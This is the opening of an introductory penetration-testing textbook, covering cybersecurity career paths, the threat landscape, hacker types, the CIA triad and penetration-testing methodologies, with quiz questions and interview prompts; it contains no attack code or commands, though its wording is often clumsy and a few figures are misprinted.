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Preface


The COVID-19 pandemic has forced all of us to embrace completely new cultures, such as social distancing and remote working. Since an increasing number of organizations are switching to remote working setups, cyber threats to any organization are also increasing alongside. This is the reason why the demand for cybersecurity professionals is growing exponentially in 2021-22. Cybersecurity professionals are required in large numbers worldwide because there is a significant gap between the number of existing cybersecurity professionals and the cybersecurity issues faced daily. Where there could be multiple types of jobs available in the cybersecurity domain, “Penetration Testing” a.k.a. ethical hacking is one of the most popular and exciting ones.

After studying this book, you should have a better understanding of the importance of cybersecurity in general and penetration testing in particular. This book takes a practical approach for penetration testing learners by covering several computers and network basics. Then, it deep dives into the different penetration testing methodologies. The book begins with a cybersecurity career path and prospects and then introduces penetration testing and its importance in the modern industry. It is divided into 10 chapters, and it covers many different aspects of penetration testing, including web application, network, Android applications, wireless penetration testing, and preparing reports. This book also shows how a prospective penetration tester can set up an in-house penetration testing lab from scratch to hone their hacking skills. This book should also help readers gain a good understanding of a typical day in a penetration tester’s life.

This book could be a perfect place to begin for someone who wants to start their career in penetration testing or someone who has 1-2 years of experience in Penetration Testing / Cybersecurity and wants to upskill themselves on different domains.

Chapter 1 will cover the importance of cybersecurity and the current cybersecurity threat landscape. If you want to pursue a career in cybersecurity, this chapter should help you understand cybersecurity career opportunities, roles, responsibilities, and definite career paths.

Chapter 2 will dive deep into basic terminologies related to penetration testing and different types of penetration testing, methodologies, and approaches. It also briefly discusses the basic building blocks of cybersecurity and how it can help you become a good penetration tester.

Chapter 3 will help you set up an in-house penetration testing lab from scratch to hone your hacking skills. This chapter mainly helps you choose the right environment for the lab after knowing some facts about penetration testing. In this chapter, we will mainly cover the lab setup required for web, network, and mobile penetration testing.

Chapter 4 will dive deep into the current web application threat landscape and the most common attacks on them. This chapter will also take you through different web application penetration testing methodologies, tools, and techniques to find security loopholes in a web app. Along with that, we will discuss prevention methodologies for these web application attacks.

Chapter 5 will explain two different ways of secure source code review: manual and automated source code review. We will also discuss their importance, and then we will deep dive into the source code of an intentionally vulnerable web application project and try to identify the security problems in it.

Chapter 6 will cover OWASP Mobile Top 10 vulnerabilities and how they affect mobile applications and their users. This chapter will also discuss some hands-on approaches to perform penetration tests on mobile applications developed for the Android platform. We will cover both automated and manual approaches for Android application penetration testing to find weaknesses defined in OWASP Mobile Top 10.

Chapter 7 will walk you through the standard ways of conducting network penetration tests. It will also discuss the different phases of penetration tests, like footprinting, scanning, enumeration, exploitation, and so on, and showcase popular tools to perform these actions during a network penetration test.

Chapter 8 will cover Wireless LAN security basics and common attacks against it, such as packet injection, MAC spoofing, and attacks against WEP, WPA and WPA2 encryption. This chapter should be able to build the technical foundation for you so that it’s easier for you to learn about other possible Wi-Fi attacks from other sources.

Chapter 9 will discuss the importance of reporting in any penetration testing process. It should cover the things that a penetration testing report must have and help you understand how to prepare an effective penetration testing report according to industry standards.

Chapter 10 will try to describe a typical day in a penetration tester’s life. Penetration testing is a very sensitive task, so we will also deep dive into several precautions and dos and don’ts to safely conduct a pen test.
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CHAPTER 1

Cybersecurity, Career Path, and Prospects


Modern technology affects practically every facet of the 21st century life. Technology is among the primary driving factors of every society's development. Today, the society has a cyclical co-dependence on technology. People use technology to travel, communicate, learn, do business, and stay in comfort. Technology has made our lives easy.

The more technology is growing, the more individuals are gaining its benefits and experiencing its disadvantages. Bad actors (for example, hackers, scammers, and fraudsters) are taking advantage of these technology improvements to harm technology end users. The primary curses that technology brings in our lives include hacking, spying, fraud, and identity theft. Hacking is generally stealing someone's sensitive data and interfering with privacy. Most of the times, such incidents trigger big loss to personal lives. Swiping an individual's identity can also result in major monetary losses. With so much dependency on technology, privacy is sometimes considered a myth nowadays.

Structure

We will cover the following topics in this chapter:


	Introducing cybersecurity

	Landscape of cyberthreats in the ’20s

	The importance of cybersecurity

	Impact of COVID-19 on cybersecurity

	Career scope in cybersecurity

	Worldwide cybersecurity talent and skill shortage

	Working in cybersecurity

	Career path of a cybersecurity professional

	Transition from general IT to cybersecurity

	Cybersecurity jobs and compensation in India

	The ideal cybersecurity (hacker) mindset



Objectives

After studying this chapter, you should have a better understanding of the importance of cybersecurity and the current cybersecurity threat landscape. If you want to pursue a career in cybersecurity, this chapter will help you understand cybersecurity career opportunities, roles, responsibilities, and definite career path.

Introducing cybersecurity

Information security has become really vital along with technology innovation. The basic principles of information security are to ensure Confidentiality, Integrity, and Availability (CIA) of information. The terms cybersecurity as well as information security are used interchangeably, as they both are accountable for protecting and shielding the computer systems from bad actors.

Cybersecurity

Cyber is a prefix that represents any kind of relation with information technology. Anything associated with a computer, such as the internet, falls under the cyber class. Cybersecurity is the practice of safeguarding computer systems, servers, smart phones, electronic systems, networks, as well as data from bad actors. It's also known as information security or digital information security.

Landscape of cyber threats in the ’20s

The international cyber risk continues to evolve at a very high speed, with an increasing number of data breaches yearly. A record by a company called RiskBased Security disclosed that a stunning 7.9 billion documents have actually been revealed by data leak in the initial 9 months of 2019 alone. This figure is more than twice in the exact same period in 2018. This data clearly shows the incremental trend of cyber-attacks.

Medical services, retailers as well as public entities experienced the most breaches, by harmful cyber criminals. Several of these sectors are a lot more enticing to cybercriminals because they collect monetary and also medical data, yet all organizations that make use of networks can be targeted for consumer information, business reconnaissance.

With the range of the cyber threat readied to increase, the International Data Firm anticipates that globally spending on cybersecurity section will certainly reach a big number as $133.7 billion by 2022.

Classes of cyber threats

In 2012, Roger A. Grimes - A Data-Driven Defense Evangelist offered a list of the topmost encountered cyber risks. The list was released in the InfoWorld Magazine. Some of the risks that were mentioned were Advanced Persistent Threats, Phishing, Social Engineered Trojans, Unpatched Software, and Network Traveling Worms.

There has since been several widespread fostering of various kinds of game-changing technology. Among them, cloud computing and Big Data is worth mentioning. Apart from that, increase in mobile device usage has brought about a massive change in the information technology landscape.

Today's cybercrime landscape varies, and cyber risks normally include several of the following kinds of strikes:


	Advanced persistent threats: An advanced persistent threat is a sneaky threat actor; generally, a country state or state-sponsored group that gets unauthorized access to a network and stays undetected for an extensive period.

	Ransomware: Ransomware is a type of malware from crypto virology that threatens to release the target's personal data or perpetually obstruct access to it unless ransom money is paid.

	Botnets: A botnet is a network of computers infected with malware that are controlled by a bot herdsman.

	Phishing: Phishing is a type of social engineering where an attacker sends a deceitful message developed to trick a human target into disclosing sensitive information.

	Trojans/spyware/malware: Harmful software used to spy on user, steal information, and manipulate data.

	Stealth crypto mining malware: Cryptocurrency mining malware is usually a stealthy malware that farms the resources on a system (computers, smart devices, and other electronic devices connected to the internet) to generate profits for the cyber criminals regulating it.

	Zero-day threats: A zero-day threat is one that hasn't been seen before and does not match any type of known malware signatures.

	Malvertising: Malvertising is an attack in which perpetrators infuse harmful code into legitimate online advertising networks.

	Rogue software: Rogue security software is a kind of destructive software and internet fraud that misdirects users into thinking there is an infection on their computer system.

	DoS and DDoS attacks: A Denial-of-Service (DoS) and DDoS attack is an attack to shut down a machine or network, making it inaccessible.

	Man in the Middle (MITM): A Man in the Middle (MITM) attack is a basic term for attacks when a criminal places themselves in a conversation in between a user and an application, either to eavesdrop or to impersonate one of the parties.

	Drive-By Downloads: Drive-by downloads are downloads that usually occur without an internet user's knowledge, and eventually, the downloaded item performs harmful activities.

	Theft of money/intellectual property theft: These are cyberattacks performed to steal money or intellectual property.



Importance of cybersecurity

Cyberattacks affect all people and are very common currently. Current reports reveal that hackers try to attack a computer in the United States every 39 seconds! Once a strike happens, numerous end users could be affected.

The city of Atlanta was attacked using the infamous SamSam ransomware. The attackers asked for a ransom money of $51,000. The SamSam ransomware was so dangerous that the city of Atlanta was offline for 5 days. This led to several significant citywide procedures being halted, and the recovery cost ended up reaching $17 million.

Facebook, the social media giant, had over $540 million individual records exposed via a malicious cyber-attack. Yahoo, the internet titan, suffered a breach affecting its 3 billion client accounts, and straight expenses of the hack ran to around $350 million.

Cybersecurity is important because it incorporates whatever relates to protecting sensitive information, Personally Identifiable Information (PII) details, individual information, and governmental as well as market information.

Impact of COVID-19 on cybersecurity

The COVID-19 pandemic has pushed organizations and individuals to welcome new methods such as social distancing as well as remote functioning. Federal governments are reassessing methods to make certain that their nations are secure by establishing and applying new economic plans. Nonetheless, while the world is focused on the health and also economic dangers postured by COVID-19, cyber crooks around the world definitely are profiting from this situation.

So, how did COVID-19 affect the technology sector? COVID-19 has also driven an unexpected and enormous shift to a remote workforce worldwide. Organizations found themselves unprepared for the safety implications that came along with not having a larger remote labor force. The reason why it raised a lot of dependency on third-party vendors for things like cloud vendors for data sharing, hosting, VPN vendors for smooth workstation accessibility, and so on.

The entire IT market has actually observed a spike in phishing attempts, MalSpams, and also ransomware strikes as bad guys are utilizing COVID-19 to lure workers and customers. These are likely causing even more infected computer systems as well as mobile devices. Not only are services being targeted, end-users that download COVID-19 relevant applications are also being deceived into downloading ransomware camouflaged as legitimate applications.

Criminals have capitalized on the pandemic and all of the changes that came with it. Security service provider McAfee Inc. has published a report which says post COVID they are noticing an average of 419 threats per minute. New Office malware spiked 103%. New PowerShell malware increased 117%. McAfee also published an infographic (https://www.mcafee.com/enterprise/en-us/lp/covid-19-dashboard.html) which clearly shows a spike in malicious detection post COVID-19 (April-May 2020).

Transformation of cyber threat landscape due to COVID-19

COVID-19 has made a significant impact on IT, including the cybersecurity industry. Many organizations have reinvented their cybersecurity infrastructure to cope with the current times. There are several reasons why the coronavirus has changed the cyber threat landscape entirely.

The effects of remote operations

With numerous staff members functioning from their residences, VPN services have now come to be a lifeline to companies. This is why their security is so important going forward. In a proposal to accomplish this, there is a possibility that an organization’s unpreparedness will cause protection misconfiguration in remotely accessible services. Such misconfiguration may expose delicate details on the internet and reveal the systems to Denial of Service (DoS) attacks. Some users may use personal computers to complete official responsibilities, which could additionally pose danger to organizations.

Impact on physical safety of company assets

The enforcement of work from residence policy by some companies inadvertently exposes company assets like computers, authentication devices, and so on to burglary or damage.

Effects of worldwide layoffs

Globally, companies are downsizing their workforce to cope with the effects of COVID-19. Jobless claims jumped to 3.2 million in early May 2020. Some people have additionally shed their means of source of income due to the various limitations. This move would likely urge the growth of cybercrimes as individuals with computer knowledge who have lost their jobs due to COVID-19 might see a possibility of making a living out of this pandemic.

Career scope in cybersecurity

With the increasing variety of cyberattacks, organizations are slowly recognizing the threat landscape and are seeking qualified experts to join their team. As a result, many are seeking internet safety programs to aid companies in increasing their security.

Worldwide cybersecurity talent and skill shortage

Apart from the rising need for cybersecurity professionals, the market deals with an intense scarcity of trained personnel who are skilled at filling up the mounting cybersecurity duties. According to a NASSCOM report in 2019, India would require around 1 million specialist cyber experts by 2020.

In early 2019, Gartner information predicted that there would be an international lack of 2 million cybersecurity professionals by the end 2019. There was a 65% upswing in the need for cybersecurity professionals in the U.S., and the increment is more than 5% in the U.K.

COVID-19 emphasizes more on the need for cybersecurity professionals

As the COVID-19 situation spread internationally, so did cyberattacks. The rise in virtual activities like remote working and online shopping has made business networks as well as prominent internet sites breeding places for cybercrime. This is the reason for the massive international shortage of cybersecurity professionals having gone up post the COVID-19 pandemic.

The Center for Strategic and International Studies (CSIS) published a report in January, 2019, which projected the global cybersecurity workforce shortage to reach upwards of 1.8 million unfilled positions by 2022. The projected number went up much higher post the COVID-19 pandemic.

Gartner released a report that says organizations are anticipated to boost their costs throughout all sections of safety and risk management in 2021. Proceeding the pattern from 2015, cloud security as well as incorporated risk management will certainly experience the highest growth in 2021, up 251% and 27.8%, respectively. You can find more details on forecasting at https://www.gartner.com/en/newsroom/press-releases/2021-03-17-india-security-risk-management-spending-forecast-2021.

So, if you are planning to get into the cybersecurity domain, the COVID-19 pandemic could be your time to shine.

Working in cybersecurity

There is no one real path to working in cybersecurity. People come in from different backgrounds like Physics, Mathematics, Electrical, Electronics, Computers, and so on. One attribute that can be found among all is a deep and abiding passion for knowing how technology works. For any security expert, this attribute is very vital. You need to know precisely what you're shielding and how things work behind the hood. It's difficult to be an expert in all domains, so employers additionally suggest that you concentrate on an area and get to know it really well. In the next section, we will dive deep into different subdomains that can be pursued within the cybersecurity domain.

Types of roles and responsibilities

Now that you decided to pursue your career in the cybersecurity domain, obvious questions that might pop up in your mind may include, what sub-domains do you have for exploration within cybersecurity? There is a great deal of refined variations in the cybersecurity qualification courses offered. Some of the jobs that you can go after as a cybersecurity specialist are discussed here.

Security specialist

A security specialist’s main role is to secure a firm's application software and networks. The tasks of a security specialist include auditing inner and outside security and performing vulnerability testing, risk evaluations, and security evaluations.

Incident responder

Incident responders are an asset to a company and are mostly professionals that have undertaken cybersecurity incident response training. Their duty entails swiftly resolving risk concerns and taking the essential steps to avoid such attacks.

Security analyst

A cybersecurity analyst’s training primarily instructs individuals how to protect a company's digital assets by evaluating security plans and procedures. As a cybersecurity analyst, your day-to-day job will be to uncover the weak points of an organization's infrastructure and find new methods to safeguard it. A part of their role also involves planning, executing, and updating security measures and controls.

Security administrator

A security administrator understands the cybersecurity system and maintains it to ensure that it is up and running firmly and optimally.

Security manager

As the name suggests, a security manager is an experienced professional who recognizes the cybersecurity system of an organization and delegates sources and authority to other staff members.

Security auditor

Like any other auditor, a security auditor's role is to examine the security systems of a business to safeguard it from cyber wrongdoers. These specialists must complete cybersecurity audit training to understand the role and obligations.

Forensic expert

Pursuing an occupation as a forensic professional in cybersecurity entails evaluating the root causes of a violation to identify exactly how it happened and what carried out the act. This role needs you to be careful with how you deal with proof and calls for educating the first responders on just how to take care of digital evidence like computers, hard drives, or portable drives.

Penetration tester

Also referred to as ethical hackers, penetration testers try to hack an organization's cyber system to analyze the toughness of its security system instead of for stealing data. They are primarily responsible for testing and searching for as well as taking care of the computer system-related security vulnerabilities of an organization.

Security engineer

A security engineer safeguards computer systems as well as networking systems from hacking by recognizing possible security gaps. The main obligation of a security engineer is to monitor and log the analysis of multi-vendor security remedies. With a number of cybersecurity training programs under their belt, security engineers comprehend typical security vulnerabilities and mitigation techniques of a company.

Security researcher (malware/vulnerability analyst)

Security researchers dissect malware to see what vulnerabilities the destructive software application is exploiting and amass knowledge out of the malware and its structure. They use this information to track adversaries and groups by the attack approaches they have deployed.

Career path of a cybersecurity professional

So far, we have gone through some of the subdomains within cybersecurity and their expectations. It takes the right amount of planning and also a lot of work to become an expert in one domain, but it's definitely worth it.

For beginners, you can have a bachelor's level degree in an area relating to cybersecurity, but it’s not the silver bullet to kick start your career in cybersecurity. Bachelor degrees may include computer system engineering, computer science, engineering, info security, and application engineering. Optionally, a prospective cyber security engineer can continue their education by gaining a master's level, concentrating on areas that are closely associated with cybersecurity. It's worth mentioning that there are many exceptions. You may find a good number of exceptional security professionals working in the domain who have never gone through any formal cybersecurity degree courses but are highly valued and respected in the community.

If you're trying to earn qualifications, there are numerous resources readily available. There are various suitable certifications that you can try for. Among the certifications you need to consider are CEH, OSCP, and CISSP.

Transitioning from general IT to cybersecurity

Since the cybersecurity domain is becoming increasingly demanding, a lot of people are trying to move their career from general IT to cybersecurity. There are a few skills that are expected from an IT engineer willing to transit to cybersecurity.

If you're from a technical background, your core skills are the skills you already have from your technical background, such as programming, networking, system/network setup, knowledge of network protocols, and so on.

Apart from this, the candidate can brush up their expertise with self-study. The self-study alternative recommends that the candidate needs to discover things on their own. The initial step is to obtain the right resources. One can read IT as well as security blog sites, information, or magazines to brush up on their computer knowledge and learn how to code. The candidate might also sign up for any of the entry-level certification courses stated in the previous section and pursue it with the day job. Lastly, candidates are suggested to sign up with online forums where appropriate information is shared, like LinkedIn groups, discord groups, or expert networks. Working with a group in college on a cybersecurity project or connect with peers playing capture the flag contests can be really helpful as well.

Cybersecurity jobs and compensation in India

The overnight move to remote working in response to the pandemic exposed companies, so enterprise information security and threat management costs in India went to a total of $2.08 billion in 2021, a rise of 9.5% from 2020, according to the latest projection from Gartner, Inc.

Despite having one of the most considerable IT skill pool on the planet, today, India does not have competent cybersecurity professionals. This acute shortage has resulted in firms' readiness to pay competitive compensation to cybersecurity experts:


	An entry-level network security engineer’s salary varies from ₹lakh to ₹8 lakh per annum.

	An entry-level cybersecurity analyst’s salary varies from ₹5 lakh to ₹6 lakh per annum.

	A security architect’s salary varies from ₹17 lakh to ₹22 lakh per annum.

	The salary of a cybersecurity manager is ₹12 lakhs per annum.

	The salary of an entry-level CISO starts from ₹22 lakhs per annum.

	An entry-level ethical hacker’s salary varies from ₹5 lakhs to ₹6 lakhs per annum.



Data source is as follows:

https://www.upgrad.com/blog/cyber-security-salary-in-india/

The ideal cybersecurity (hacker) mindset

When it comes to working in a challenging role within cybersecurity, mindset is everything. You have to remember that you are protecting your company assets/information from hackers, so in many situations, you may have to think like one. One of the most striking differences between hackers and engineers is in how they address an obstacle. Engineers are systematic. Problems are first specified and assessed, a plan (or hypothesis) is developed, and the hypothesis is tested. Then, outcomes are evaluated regarding successes and failings, and verdicts are drawn.

While engineers are organized, hackers are practical and chain reaction driven in their approach. There are resemblances, but the core distinction is that a hacker will most likely go to any extent to accomplish their objective.

The perfect cybersecurity prospect has a mix of technological and soft skills. On the technological side, most employers desire evidence that you are grounded in IT principles; for example, networking, systems management, data source monitoring, internet applications, and such. You are also expected to be well-versed in day-to-day operations like physical security, networks, web server equipment, business storage space, and applications.

Soft skills are also important while working in this domain, just like any other technological domain. The candidate must know how to communicate with non-IT co-workers and also operate in a group. They must understand business procedures and processes, and last but not least, they should love solving complex problems.

Conclusion

We hope this chapter gave you some definite answers to your doubts, such as why cybersecurity is important, what it takes to be a cybersecurity professional today, and why it's worth pursuing a career in cybersecurity in 2022. As the title of the book stated, the rest is going to be all about penetration testing (ethical hacking). Ethical hacking is nothing but the art of innovative problem solving, whether that implies discovering a unique solution to a difficult problem or exploiting holes in sloppy programming. A penetration tester’s life is full of challenges, and when you encounter any challenge, you should face it with a never give up attitude instead of avoiding it. A home lab is a must for a penetration tester.

In the following chapter, we'll review the basic terminologies that are related to penetration testing and different types of penetration testing, methodologies, and approaches. We will also briefly discuss the basic building blocks of cybersecurity and how it can help you become a good pentester. This will ensure that you have the ground well prepared. As a final note before we get into the main subject, it’s not going to be very easy, but it will be worth it.

Points to remember


	There is no doubt that digitalization has engulfed the entire world, with everybody spending a majority of their time on the internet. There hasn't been a much more appropriate time to start working in cybersecurity.

	Well, what makes cybersecurity fascinating is the fact that it is a highly unpredictable and also a progressing field. The processes, assumptions, and strategies related to the cybersecurity domain need to be constantly updated as you need to be one step ahead of cybercriminals and look at the problems from their viewpoint.

	Remember that you will always have to keep an eye out for the numerous safety problems, permission controls, and vulnerabilities in systems as well as networks. For this, you need to be well versed with modern technologies and the current events in the industry so that you remain a step ahead of the wrongdoers. So, you will need to frequently keep analyzing as well as investigating latest cyber security events (for example, breaches, leaks, noble attack techniques, vulnerability exposure, and so on), and it would certainly keep you occupied.

	If you keep these things in mind, we strongly believe that you will never be burned out for a moment. You will always find yourself in a position where you are either dealing with something you already know, or you read to keep yourself updated.



Multiple choice questions


	Cybersecurity is mainly all about which of these?

	People

	Processes

	Technologies

	All of the above



	Backing up local files protects our data from being lost in a ransomware attack. Is this true or false?

	True

	False



	Cybersecurity surrounds the full range of which of these?

	Vulnerability reduction

	Incident response

	Recovery policies

	All of the above



	Cybersecurity is the protection of which of the following?

	Internet connected systems

	Non-internet connected systems

	Both A and B

	None of the above



	Which of the following is one of the cybersecurity principals?

	Maintain confidentiality

	Preserve the integrity of data

	Promote the availability of data for authorized users

	All of the above



	By 2022, global cybersecurity spending should go up to how much?

	$100 million

	$133 billion

	$350 billion

	$10 billion





Answers


	D

	A

	D

	A

	D

	B



Questions

Here are some of the relevant questions you may often face during job interviews:


	Define cybersecurity.

	What are the three key principles of cybersecurity?

	Why do you like to work in cybersecurity?

	What are the recent major cyberattacks you have come across, and what are your learnings from them?

	What is the difference between threat, vulnerability, and risk?

	What is a cybersecurity risk assessment?

	List the common types of cybersecurity attacks.

	What do you understand by compliance in cybersecurity?

	What is system hardening?



Key terms


	Pen test: Penetration testing

	Vulnerability: A defect or weak point in system security procedures, design, implementation, or internal controls that could be worked out (accidentally caused or intentionally manipulated) as well as cause a security breach or violation of the system's security policy.

	Exploit: An exploit is code that uses a software application’s vulnerability or safety defect.







CHAPTER 2

Introduction to Penetration Testing


Introduction

The COVID-19 pandemic is forcing more and more companies to switch over to remote working setup hence cyber risks to any company are also increasing. The reason why, need for cyber security specialists is growing greatly in 2021-22. Penetration testing also known as ethical hacking is among one of the most interesting job within the cyber security market. A penetration test, also referred to as a pentest, is a simulated cyber-attack against an organization (for example, its website, network, software, and so on) to look for exploitable vulnerabilities. By doing regular pen testing, companies can get security specialist's feedback on their overall security posture and daily operating procedure. Though it's mostly potentially lengthy and expensive, pen testing can assist protect against extremely costly and destructive security breaches.

Structure

We will cover the following topics in this chapter:


	Hackers and cybersecurity

	Elements of cybersecurity

	Cybersecurity principles

	Introduction to penetration testing

	The importance of penetration testing

	Penetration Testing Execution Standard (PTES)

	Types of penetration testing

	How to become a penetration tester

	Limitations of penetration testing



Objective

In this chapter, we will dive deep into basic terminologies that are related to penetration testing and different types of penetration testing, methodologies, and approaches. We will also briefly discuss the basic building blocks of cybersecurity and how it can help you become a good pentester.

Hackers and cybersecurity

A hacker is someone who explores methods for breaching defenses and exploiting weak points in a computer system or network. Hackers might be motivated by a wide range of factors, such as profit, objection, information gathering, difficulty, recreation, or assessment of a system’s weak points to aid in developing defenses against prospective hackers.

Individuals frequently get perplexed with the terms hacking and cybersecurity. Cybersecurity is a broad term in which various computer or network security systems are included, and hacking or ethical hacking is one of them. Cybersecurity is primarily a mix of various skills and tools, the goal of which is to deliver the most effective security to users.

Hackers classification

There are three different types of hackers out there:

White Hat hacker

This is another name for an ethical hacker or penetration tester. They hack right into a system with prior permission to figure out vulnerabilities so that they can be repaired before a person with destructive intent locates them.

Black Hat hacker

They are also called unethical hackers, and they hack in order to acquire unauthorized access to a system and harm its procedures or swipe delicate information without the system proprietor’s authorization. It's constantly prohibited because of its destructive intent, which includes swiping corporate data, violating privacy, damaging the system, and so on.

Gray Hat hacker

A Gray Hat hacker is a mix of both Black Hat and White Hat hackers. They mostly hack for fun and exploit a security weak point in a computer system or network without the proprietor's permission or knowledge. Their intent is to bring the weak point to the interest of the proprietors and make some bug bounty.

The following figure exemplifies the different types of hackers:


[image: ]

Figure 2.1: Different types of hackers

Apart from these, we have state/nation sponsored hackers and hacktivists who hack into government and corporate websites for a cause. Then, there are Blue Hat, Red Hat, and Green Hat hackers, who are basically different variations of the above three types of hackers.

State/nation sponsored hackers

A government or state designates hackers to obtain information concerning other nations, organizations, or military contractors and gain secret information from opponents and be well prepared for any type of upcoming threat to the country.

Hacktivists

Hacktivists are the types of hackers who plan to hack federal government and company internet sites for a social or political purpose. They posture themselves as activists, so they are known as hacktivists. Hacktivists can be a specific, or it can be a bunch of anonymous hackers whose intent is to unauthorized access government internet sites and networks.

Elements of cybersecurity

There are different elements of cybersecurity, and they are as follows:


	Network security

	Application security

	Cloud security

	Mobile security

	Database security

	Infrastructure security

	Data security

	Identity and access management

	Endpoint security

	Disaster recovery/business continuity planning

	End-user education, also known as security awareness education



As a part of this book, we will try to cover some of these elements in detail in the later chapters.

Cyber security principles

Cyber security has to start from somewhere. Typically, that somewhere is the checklist of the most important security principles. In that checklist, confidentiality, integrity, and availability (CIA) are the main entries since these are normally considered as the primary aims and goals of any type of security framework. This is the reason why they are seen as security basics and are referenced by the term CIA triad, as shown in figure 2.2:
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Figure 2.2: The CIA triad

Confidentiality

Confidentiality is the concept to make certain the defense of the secrecy of data, objects, or resources. The objective of confidentiality is to avoid or minimize unauthorized access to data. This is the initial concept of the CIA triad. Confidentiality concentrates on the security procedures to ensure that no person apart from the designated recipient of a message receives it or can read it. Confidentiality protection provides a means for authorized users to access and communicate with resources, yet it proactively stops unauthorized users from doing so. There is a range of security controls that can give protection for confidentiality, consisting of but not limited to encryption, access controls, and steganography, and so on.

Integrity

The second principle of the CIA triad is integrity. Integrity is the principle of ensuring the dependability and accuracy of data. Integrity protection avoids unauthorized alterations of data. Properly applied integrity controls ensure that data remains right, unchanged, and maintained. It provides a means for authorized modifications while safeguarding against unintended, malicious, and unauthorized activities (such as viruses), along with errors made by authorized users.

Availability

The third concept of the CIA triad is availability, which implies authorized elements (for example, users) ought to be approved timely and continuous access to authorized objects or resources. If a security tool provides availability, it provides a high degree of assurance that the data and resources reach an authorized user when requested. Availability consists of effective uninterrupted access to things and avoidance of denial-of-service (DoS) attacks. Availability also indicates that the sustaining infrastructure, including network services, communication, and access control devices, allows authorized users to gain certified access.

Introduction to penetration testing

A penetration test, or a pen test, is an attempt to evaluate the security of an IT framework by safely attempting to discover and exploit vulnerabilities. These vulnerabilities may exist in operating systems, services and application, improper setups, or high-risk end-user behavior. Such assessments help validate the effectiveness of security systems in addition to ensuring end-user adherence to security policies.

Penetration testing is typically performed using manual or automated technologies to methodically compromise servers, endpoints, web applications, wireless networks, network gadgets, smart phones, and various other possible factors of exposure. Once vulnerabilities have been exploited on a certain system, testers might attempt to utilize the compromised system to launch succeeding exploits at other internal resources, particularly by trying to incrementally accomplish greater levels of security clearance and much deeper access to connected systems and information by means of privilege escalation.

The importance of penetration testing

Cybersecurity is critical for maintaining the security of a company's network, system, and other essential properties. Penetration testing aids the security team in targeting certain aspects of a system to discover any kind of existing vulnerabilities and design imperfections. A pentester helps firms by acknowledging, searching, breaching, and reporting the existing vulnerabilities in their infrastructure.

Any kind of pen testing involvement can be customized according to the client's requirements, preferences, and work situation. For that reason, it is helpful for small businesses and startups to execute and customize a penetration test according to their requirement. After the assessment, the pentester will certainly share detailed reports concerning the findings, and the companies can choose which dangers to get rid of first.

Presently, almost all the federal governments and corporate, financial, medical, and military organizations accumulate unprecedented amounts of data on computers and other connected gadgets. A large portion of that data is sensitive information, whether that be copyright, financial data, personal information, or other sorts of data, unauthorized access or exposure to which would have adverse effects. Organizations transfer this sensitive data across their networks, internet, and to various other devices while doing business. Cybersecurity dictates the principles, methods on how to protect that information, and the systems utilized to procedure or store it. As the volume and class of cyberattacks grow, firms and companies, specifically those that are charged with protecting information relating to national security, health, or economic information, need to take actions to shield their sensitive company and personal information.

In today's progressively controlled business landscape, organizations across all sectors are required to comply with several compliance standards and policies relating to information security. So, organizations need penetration testing for compliance purposes as well. It helps a company figure out a unique risk profile of their organization. We will discuss these compliance standards in the later chapters.

Penetration Testing Execution Standard (PTES)

The penetration testing execution standard mainly consists of seven stages that cover almost everything related to a pen test. Here are the main stages defined by this standard:


	Pre-engagement interactions

	Intelligence gathering

	Threat modeling 

	Vulnerability analysis

	 Exploitation

	 Post exploitation

	 Reporting



If these steps do not make sense to you now, don't panic as we are going to deep dive into each step in the later chapters.

Types of penetration testing

There are basically three types of penetration testing methodologies that are being followed in industry. They are discussed in the following sections.

Black box penetration testing

In black box penetration testing, the pentester does not have access to any internal information and is not approved internal access to the client's applications or network. The pentester must do all reconnaissance to acquire the delicate understanding required to continue, which puts them in a function as close to the normal attacker as possible. This type of testing is the most reasonable, but it requires a lot of time and has the greatest potential to overlook a vulnerability that exists within the internal part of a network or application. A real-life attacker does not have any time restraints and can take months to create an attack plan, waiting for the appropriate chance.

Plus, there are lots of protective tools within networks to help stop an existing vulnerability from being exploited. Even latest web browsers have settings that can prevent an attack, but the weak point in an application may still exist, and all that is called for to exploit the vulnerability is a variant of establishing or a connection from a different browser version. Just because a configuration avoids the vulnerability from being found or exploited does not always mean that the vulnerability does not exist or is actually being minimized; it just implies that some outside pressure is buffering the result. This can lead to an extremely dangerous end result and a false sense of security that may be exploited at a later time by someone who has much more time to explore the attack surface considerably.

Gray box penetration testing

An interaction that enables a greater level of access and raised internal understanding falls into the category of gray box testing. Fairly, a black box tester starts the interaction from a rigorous external viewpoint, attempting to get in, while a gray box tester has currently been provided some internal access and understanding that may come in the kind of lower-level access, application logic flow charts, or network maps. Gray box testing can replicate an attacker that has already passed through the perimeter and has some kind of internal access to the network.

Providing some type of history to the security consultants embarking on the assessment helps produce a much more efficient and streamlined test report. This minimizes the time (and money) invested in the reconnaissance phase, enabling the consultants to focus their initiatives on exploiting prospective vulnerabilities in higher-risk systems as opposed to attempting to discover where these systems might be discovered.

White box penetration testing

The last category of penetration testing is called white box testing, which permits the security consultant to have complete open access to applications and systems. This enables specialists to see the source code and have high-level privilege accounts to the network. White box aims to recognize prospective weak points in different locations such as logical vulnerabilities, prospective security exposures, security misconfigurations, poorly written development code, and lack-of-defensive procedures. This sort of assessment is extra extensive as both internal and outside vulnerabilities are assessed from a behind-the-scenes viewpoint that is not usually offered to typical attackers.

How to become a pentester?

In this section, we will try to summarize the core characteristics that a potential penetration tester must have, and what you might need to start working as a penetration tester. Here are some of them:


	Developing a hacker-like mindset

	Being creative

	Pushing limits by learning new things everyday

	Improving social skills



Developing a hacker-like mindset

As a penetration tester, you can earn a paycheck by lawfully hacking right into security systems. It can be a busy, interesting work if you have a passion in cybersecurity and issue solving. So, an individual must learn to think like a hacker and practice it. This is not an overnight process; it takes time. It gradually improves with practice as you read more and solve more challenges. Penetration testers possess an interested mind and a hunger to know just how systems work. While many have a solid technical understanding of information systems, they usually lack a crucial characteristic of a good penetration tester: hacker-like thinking. To succeed, you must think like an attacker.

Being creative

Various people define creative thinking differently. As security defenses become a lot more sophisticated, threat actors have had to become very innovative to attain their end goals. In order to imitate these attackers, pen testers must be just as creative. A creative penetration tester can be versatile. They can change course as circumstances change (which is a usual scenario). They should be able to switch their strategies and keep a flexible mind to adapt to, face, and solve new challenges.

Push your limits by learning new things every day

Penetration testers need a solid understanding of Information Technology (IT) and security systems in order to test them for vulnerabilities. Skills that are usually utilized by a penetration tester are:


	Network and application security

	Programming languages, especially, for scripting (Python, BASH, Ruby, Perl)

	Threat modeling

	Linux, Windows, and macOS environments

	Security assessment tools

	Pen test management platforms

	Technical writing and documentation

	Cryptography

	Cloud architecture

	Malware analysis



You should be constantly pushing your limits by acquiring new skills that you think will help you become a better penetration tester.
